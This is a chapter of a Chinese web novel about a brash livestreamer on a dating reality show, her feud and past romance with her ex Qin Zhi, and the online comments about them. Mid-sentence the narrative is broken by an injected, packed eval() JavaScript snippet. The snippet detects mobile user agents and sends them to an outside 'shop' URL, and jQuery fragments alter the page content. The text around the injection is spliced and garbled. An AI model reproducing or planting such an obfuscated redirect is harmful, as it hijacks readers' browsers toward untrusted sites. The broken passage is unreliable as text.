#陶陶不许欺负秦挚#
她洗漱完,脸上正惬意地敷着黄瓜片,挠着兰花指点开手机屏幕,并不是故意翘的,纯粹因为其他几根手指沾了水有些滑。表情加动作加说的话共同作用下给人一种特别mean的感觉,被其他几个女孩看到。
边看边自言自语说道:“又上热搜咯。还和那货一起,也太侮辱我了。”她故意说的大声,没人敢怼她。
她缓缓坐到床上,捋捋头发,手拍拍脸上的黄瓜,精致最重要:“装什么小可怜。“
她食指点开词条,翘着小拇指,撇着嘴一副鄙夷极了的模样。
「求某逃退圈:秦挚都把讨厌她摆到明面上了,她还往上凑。不要脸喔。」
「陶陶世界第一梦男:秦挚真装,分明是很享受被陶陶钓着,我吃醋了。」
「啕叨:她才在耍大牌吧。而且还是没牌硬耍。」
「陶陶世界第一梦男:恶剪你们也信?秦挚拿高价片酬,不认真配合陶陶才是耍大牌吧!」
[啕叨:ip和逃逃一个属地,是不是约过了?]
[回复:这话有点过了吧。骂人可以,造谣就没意思了。]
[陶陶世界第一梦男:说追私人行程都比这个可信。我来这旅游的。再者说陶陶老师能看上我吗?现实里守护不了她我才在网上啊!]
「xswl,只能线上守护。」
「这份执着但凡换个人都有回音了。」
???造人谣真有一手。她看见评论气的半死,当她是软柿子啊,直接下场回复。
[美丽陶:已截图取证。律师函警告哦~]
评论基本都在怜爱秦挚,骂她的,只有“第一梦男”不违背自己的id在为她说话。真理掌握在少数人手里,梦男哥说的多在理,世界如果多一些像他一样明智的人会更加美好。
#秦挚哭了#
又在那里装了,她点进下一个词条,打开视频切片,信号山两个人分开之后,节目组拍了一个他落寞下山的背影,看手前后摆动的幅度,像是在躲开镜头抹眼泪。
???她美瞳滑片就是翻白眼耍大牌,到他这里一个背影手晃两下就是哭了??
几个意思??
「美丽陶:少装点能长寿~」她不屑“啧啧”两声,虽然对自己马上要在热搜榜上高高挂起心知肚明,但她才不会放过任何一个怼他的机会。
「死装哥:谁装了?」
这人什么毛病,看她的厕子,她刚刚发完评论没几分钟就过来找她对阵,天天这么关注自己动态,什么居心啊。他还记得自己说的谁先给对方发消息谁是狗吗?
「你啊装哭?你哭的越大声我笑的越大声哦~」
「给我叫两声。」
「死装哥:?」
这人真忘了啊,「不是说谁先给对方发消息谁是狗吗?」
「汪汪叫两声啊。」
[死装哥:是你发的,我可没答应。]
陶陶网上翻还真是她发的,但她并不打算罢休。
「死装哥;节目组给了我袋洋葱拿着,说之后有个做菜的环节。」
「你觉得我会信吗?」节目组只会把这样的手段放在她身上,哪敢招惹他啊。话又说回来,节目组未免太懂话题度了。
她至今不知道节目组怎么知道她和秦挚以前的关系的。她除了齐欢谁也没说过,恋爱期间也没有被拍到过。许星辰都不知道,甚至是收到节目邀约才知道她有前任。她一向生活和工作分的门清。
————
第二次换乘马上开始,她对第一次换乘非常不满意,秦挚那是个什么态度,冲他自己听不见就拿这个由头屏蔽自己。
节目组这次又给她准备了一套衣服,大润发杀鱼套装,紧身棕色皮裙,腋下镂空设计。
哪找来这么多丑衣服,她在心里吐槽,但笑着接过,带着成年人的人情世故说道:“哇哦,很有设计感哦。”
她接过准备去换上嘛,“等等陶陶老师,还有皮靴!”
牛仔腋下生风套装。
她换上紧身皮衣勾勒出她曼妙的身材,小皮靴带着点跟,嗒嗒转了一圈,对着镜子发现腰侧也是镂空的。
又酷又魅。
唯一的败笔就是掏空的腋下。但无伤大雅。
她自己搭配了个墨镜,走路故意扭扭胯。“陶陶姐你来啦!“”
她停下,侧头,轻拂过秀发。墨镜半戴着,一手捏住墨镜的镜脚,翘着小拇指,活脱脱大明星风范,半漏眼睛:”嗯。”
“这次该选我了吧,陶陶姐。”
她头也没回绕过他,直接走到秦挚旁边:“哟,你来啦。”夹着嗓子说。
摘掉墨镜,她打量秦挚的穿搭,西装套装散漫地挂在他身上,衬衫皱皱的,黑色领带没有章法地垂着,却有些少年气,她心想穿搭品味真差,说道:“给我叫两声啊。”
秦挚一手插着裤兜,一手指了指耳朵。她顺着他指的方向看过去,又没带助听器,肯定又是故意的,他不是会读唇语吗装什么呢。
之前她陪着他练习读唇语。她本来说话语速比较快,他说说的慢一点口型饱满一点这样对于他来说读起来容易,为此她练习许久,好不容易把说话的习惯改掉。
改掉一直以来的习惯可不是一件容易的事情。有时候读唇语,读着读着秦挚会吻上她,留下她错愕,只是轻拂过她的唇,蜻蜓点水。
“你真可爱。”他收回吻的时候,会看着惊讶到呆滞的陶陶这么说道,然后对她浅浅笑笑,用手指轻抚过她的唇。
她确信自己刚刚说的他绝对可以读出来。他边戴助听器边走到她耳侧:“就我们两个人的时候,我叫给你听。”
她呆愣在原地,海风夹杂着青草的香气味道从浓郁又减淡,是她先前给他选的那个味道,前几天没喷,为什么偏偏选在第二次换乘喷。
她认得这个味道。
22年的10月8日,他退团后的第一个生日,也是她和他一起过的第一个生日。她跑了好多家首尔的香水店,试了很多味道,要不就是太浓烈张扬,要不就是太寡淡内敛。她觉得都不像他。
她觉得他像缠在半山腰的雾气,带着潮湿清冷遮住了山间的景色。一旦风把雾吹散,就会发现山上的风景是一片青绿的,是温润的青草气息。
而且生日这天刚好是二十四节气的第十七个节气,寒露。正是天气开始转凉,雾气开始变重的时候。山间开始有那种湿漉漉的、看不清远处的感觉。
看起来清冷但其实内核是温暖的。
“大家快过来,我们要开机了。”吴仁亿拍拍手,让众人集合到他那里。陶陶从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481883|201792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回忆中挣脱出来,就剩她还没有集合。
她站在队伍边缘,站在了秦挚旁边,有些不知所措,手有些无措不知道放哪里才舒服,但对方根本没有和她说话。
她闻着那阵香气,揣摩他那句“下次叫给你听”是什么意思。
他真答应学狗叫?
“我们要开始第二次换乘。”吴仁亿说,“环节和先前略有不同,我们在昨天收到了女嘉宾想换乘的男嘉宾名单。”
“我们将直接公布。”
——
她的剧本是一天一换为她每天量身定制的,并不影响她怎么决定换乘。前一天晚上,四个女孩分别被关进四间小空屋,直播镜头遍布屋内各个角落。吴仁亿可以在四个房间内分别广播。
“陶陶,先总结下第一轮换乘体验吧。”
吴仁亿的声音充斥房间个角落,尾音是气泡音,她听了犯恶心。
她酷拽往塑料椅上一坐,把塑料椅坐出了龙椅之感,二郎腿一翘:“呵!”不屑地一声扯着嘴。
拿起第一个问题版:对第一次换乘满意吗?
她皱眉撅嘴,侧头顶腮,这种问题还要问:“当然不!”
她突然对着镜头秀起她的粉色超长美甲:“观众宝子们,姐的美甲好看吗?”
“他就像姐的美甲一样中看不中用。”她又拿起另一只手对着镜头,“花瓶而已。”
“还敢顶撞我。”
她忽得从椅子上站起,在房内踱步起来,每一步都重重跺脚踩下,地板咚咚响。
“他对我这个态度。”她把脸贴着镜头,开始猖狂大笑,“信不信我把他踩在脚下。”
又收回粗犷的笑声,双腿并拢,双手比八食指对碰,一副淑女害羞模样,切换到夹子音:“不过,本宝宝是不会这么做的。”
说罢,她对着镜头眨巴着无辜的大眼睛,长睫毛忽闪忽闪地扇风。
之后,她把外套用力往后甩,潇洒离开摄像,走路带风回到位置上,双腿分开豪迈一坐,手肘撑大腿,手撑头。
大吼:“来!”
“下一个问题抬上来!”老本行了,直播天天吼:“来!上链接!”
第二个问题:想换乘谁?
她装作若有所思:“江羽吧。”
“毕竟他求着我选他。”
她一副受宠若惊的样子:“暂且满足他。”
空屋的屏幕亮起,开始放弹幕,清一色骂她。
[梦男哥又要发疯了]
[这不就是海后发言吗]
[批发进货的海后又开始了]
[她是不是觉得自己很抢手?除了梦男哥谁要她]
“我有的是人爱。”她一副老娘最值得的样子,确实是很值得,她多厉害啊,走到现在每一步都是靠自己,“是因为我优秀。”
最后,霸气走出门,把滔滔不绝骂她的弹幕关进小黑屋。
[有人爱?谁?梦男哥一个人开十个号也叫有人爱]
[有人爱,指黑粉天天追着她骂]
[她的“有人爱”是把黑粉也算进去了是吧]
[有人爱到全网喊她退圈]
[有人爱到秦挚好脾气的人都讨厌她。]
[有人爱骂她,骂她不发音。]
[有人爱到热搜全是恶评]